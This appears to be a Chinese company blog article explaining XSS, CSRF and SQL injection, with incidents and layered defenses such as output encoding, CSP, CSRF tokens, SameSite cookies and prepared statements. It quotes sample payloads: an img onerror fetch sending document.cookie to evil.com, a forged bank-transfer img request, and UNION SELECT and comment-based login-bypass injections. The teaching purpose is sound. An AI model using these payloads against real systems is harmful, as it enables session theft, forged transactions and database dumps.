尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

【架构实战】Web安全防护实战:从XSS、CSRF到SQL注入的攻防一线

【架构实战】Web安全防护实战:从XSS、CSRF到SQL注入的攻防一线 【架构实战】Web安全防护实战从XSS、CSRF到SQL注入的攻防一线做后端这么多年我见过太多功能早就上线了安全漏洞埋了一年才被发现的事故。最离谱的一次我们一个内部运营后台因为没做 CSRF 防护被一个钓鱼邮件里的图片请求悄悄改了全公司的权限配置——而攻击者根本不需要拿到任何密码。Web 安全这件事最大的误区就是我们是小公司没人盯上我们。现实是攻击者最爱的就是这种心态脚本小子扫全网漏洞你刚好在靶子上。这篇不讲玄学从三个最经典、最高频的威胁——XSS、CSRF、SQL 注入——讲起把原理、真实踩坑、防护方案一次说透。一、Web 安全的三大经典威胁如果只让你记住三个词就是这三个XSS跨站脚本让别人的浏览器替你执行恶意 JS危害在客户端。CSRF跨站请求伪造借用户的身份以用户的权限发起请求危害在服务端状态被篡改。SQL 注入把恶意 SQL 拼进查询直接打穿数据库危害在数据层。三者的共同点都利用了信任——XSS 利用了浏览器对页面的信任CSRF 利用了服务端对登录态的信任SQL 注入利用了代码对输入格式的信任。防护的本质就是打破这种不该有的信任。二、XSS跨站脚本攻击2.1 三种形态存储型 XSS恶意脚本被存进数据库之后每个访问该数据的用户都会中招。典型场景评论区、用户昵称、个人简介。这是危害最大的一种因为影响面是所有访问者且持久存在。反射型 XSS恶意脚本在 URL 参数里服务端原样返回到页面用户点击带毒链接才触发。常见于搜索结果页?qscript.../script。DOM 型 XSS完全在前端发生的漏洞恶意内容不经过服务端而是前端 JS 直接把location.hash或 URL 参数写进 DOM。比如document.write(location.hash)。2.2 真实踩坑一条评论拖垮整个社区我们早期做技术社区用户评论直接innerHTML渲染。有天一个用户昵称填了img srcx onerrorfetch(https://evil.com/?cdocument.cookie)。结果所有打开用户主页的人cookie 都被发到了攻击者的服务器攻击者用这些 cookie 登录了不少高权限账号。最讽刺的是这个漏洞在代码评审里被提过两次都被这个功能要赶上线压下去了。安全债迟早要还还的时候连本带利。2.3 防护三层防线第一层输出编码最基础。所有用户可控内容渲染到页面时按上下文转义HTML 正文→amp;→lt;→gt;HTML 属性→quot;JS 字符串→\并避免把用户输入拼进scriptURL 参数encodeURIComponent现代框架React/Vue默认对插值做 HTML 转义所以千万别用v-html/dangerouslySetInnerHTML渲染用户输入——这是最常见的作死操作。第二层CSP内容安全策略。通过响应头限制脚本来源Content-Security-Policy: default-src self; script-src self nonce-xxxx; img-src self data:;配合nonce或hash非白名单脚本一律不执行即使 XSS 注入了脚本标签也跑不起来。这是 XSS 的终极兜底。第三层HttpOnly Secure Cookie。给身份 cookie 加HttpOnlyJS 读不到加Secure只在 HTTPS 下传输。即使 XSS 成功也偷不到核心会话。三、CSRF跨站请求伪造3.1 原理不是偷是借CSRF 不偷密码、不偷 cookie而是利用浏览器会自动带上 cookie 的机制在用户不知情时以用户身份发起请求。经典案例用户登录了银行bank.comcookie 还在。然后他逛了一个恶意论坛页面里藏了一个imgsrchttps://bank.com/transfer?toattackeramount10000浏览器发起这个请求时会自动带上bank.com的 cookie服务端一看已登录转账就执行了。用户全程在逛论坛钱没了。3.2 防护让请求来源可验证方案 1CSRF Token最常用。服务端给每个表单/请求发一个随机 token藏在前端表单隐藏域或 header。提交时带上服务端校验这个 token 是我在本次会话下发的吗。攻击者拿不到 token伪造的请求直接被拒。注意token 要绑定 session不能用全局固定值。方案 2SameSite Cookie强烈推荐。Set-Cookie: SameSiteStrict|Lax。Strict 模式下跨站请求完全不带 cookieLax 模式对 GET 导航类请求放行、对 POST/子资源拦截。现在主流浏览器默认Lax已经能挡掉大部分 CSRF。但别只靠 SameSite——老浏览器不认且 Lax 对某些场景仍有缝隙。方案 3校验 Referer / Origin。服务端校验请求来源是否同源。简单但不可靠Referer 可被配置隐藏只能做辅助。方案 4关键操作二次确认。转账、改密码、删数据这种高危操作要求重新输入密码或短信验证码。即使 CSRF 成功也卡在第二步。我的经验SameSite CSRF Token 双保险高危操作再加二次验证基本无懈可击。3.3 一个容易被忽略的坑JSONP 与 GET 接口很多人以为只有 POST 才有 CSRF大错特错。我们一个修改昵称的接口用了 GET/api/user/nickname?namexxx且服务端没做 token 校验。结果攻击者用img一样能改。结论任何会改状态的接口不管 GET/POST都要 CSRF 防护。顺便REST 规范里改状态就该用 POST/PUT别图省事用 GET。四、SQL 注入最古老也最致命4.1 原理拼接即原罪看这段经典错误代码StringsqlSELECT * FROM user WHERE name username AND pwd password;用户输入username admin --SQL 变成SELECT*FROMuserWHEREnameadmin-- AND pwd --把后面的密码校验注释掉了直接以 admin 登录。这就是教科书级的万能密码admin OR 11。4.2 真实事故一次注入拖库某次我们一个老报表系统用字符串拼接拼了一个LIKE查询没过滤。攻击者输入 UNION SELECT username, password FROM user --直接把整张用户表导了出来。更惨的是密码是 MD5 明文存储没加盐彩虹表一查大部分密码当场破解。教训两条预编译解决注入加盐哈希解决泄露后的扩散。两者缺一不可。4.3 防护从代码到架构第一招预编译PreparedStatement / 参数化查询。这是根治 SQL 注入的唯一正道。把 SQL 结构和参数分离数据库把参数当数据而非代码执行StringsqlSELECT * FROM user WHERE name ? AND pwd ?;PreparedStatementpsconn.prepareStatement(sql);ps.setString(1,username);ps.setString(2,password);注意一个常见误用LIKE % 用户输入 %如果用字符串拼接再传进?照样注入。正确做法是参数整体传ps.setString(1, % keyword %)占位符本身不拼用户输入。第二招用 ORM 但不要滥用。MyBatis 的${}是字符串替换等于拼接禁止用于用户输入统一用#{}。Hibernate/JPA 的 Criteria API 天然参数化。第三招最小权限 禁用危险函数。数据库账号只给必要权限禁止FILE、DROP、UNION等高危能力按业务需要。Web 用的库账号不该有 DBA 权限。第四招WAF 输入校验兜底。WAF 能拦掉明显的注入特征union select、--等但不能替代预编译——攻击者有无数种变形绕过 WAF。WAF 是锦上添花不是雪中送炭。五、纵深防御别把鸡蛋放一个篮子里单个防护都有被绕过的可能真正靠谱的是纵深防御Defense in Depth入口层反向代理 / WAF 过滤明显攻击特征限流防爆破。应用层输入校验白名单优先、输出编码、CSRF Token、SameSite。数据层预编译、最小权限、敏感字段加密加盐、定期备份。运行时CSP、HttpOnly Cookie、依赖漏洞扫描很多 XSS/注入来自老版本的第三方库。流程层安全代码评审、定期渗透测试、依赖npm audit/OWASP Dependency-Check。一句话前端校验是用户体验不是安全安全是层层设防不是单点依赖。六、我的踩坑感悟坑 1前端校验 ≠ 安全。新人最爱写if (input.length 0) { 提交 }就以为安全了。攻击者用 Postman 直接发请求前端校验形同虚设。所有校验必须在服务端重做。坑 2富文本编辑器是 XSS 重灾区。产品要用户能发带格式的帖子你用了v-html渲染 HTML。解决方案服务端做 HTML 白名单过滤如jsoup的Safelist、DOMPurify只允许b、p这类安全标签禁掉所有on*事件属性和javascript:协议。坑 3JSONP 接口的 CSRF。JSONP 天生跨域带 cookie等于给 CSRF 开了后门。新项目直接用 CORS Token别再用 JSONP。坑 4预编译的假安全。LIKE %${kw}%、ORDER BY ${column}这类动态 SQLMyBatis 里用了${}就会注入。排序字段这种必须拼 SQL的场景要对column做白名单校验只允许预定义的几个列名。感悟安全不是一个功能而是一个过程。没有上线一次就永远安全的系统只有持续设防、持续检测的系统。我现在的习惯是每个 PR 默认问一句这段输入最终会到哪怎么被滥用——想清楚这个大部分漏洞在写代码时就消掉了。七、总结XSS别信任何会进 DOM 的用户输入输出编码 CSP HttpOnly 三层兜住。CSRF所有改状态的接口都要验证来源SameSite Token 高危二次验证。SQL 注入预编译是唯一正道别用字符串拼接禁用 MyBatis 的${}。纵深防御单层防护会被绕过层层设防才是真安全。心态安全是过程不是产品写代码时多问一句这个输入会被怎么滥用。这三个威胁讲了十几年今天依然在 OWASP Top 10 里占着位置。原因不是技术难而是太多人觉得与我无关。希望这篇能让你下次写接口时下意识地多想一层。我是做架构的关注我一起把系统做得既快又稳又安全。
返回列表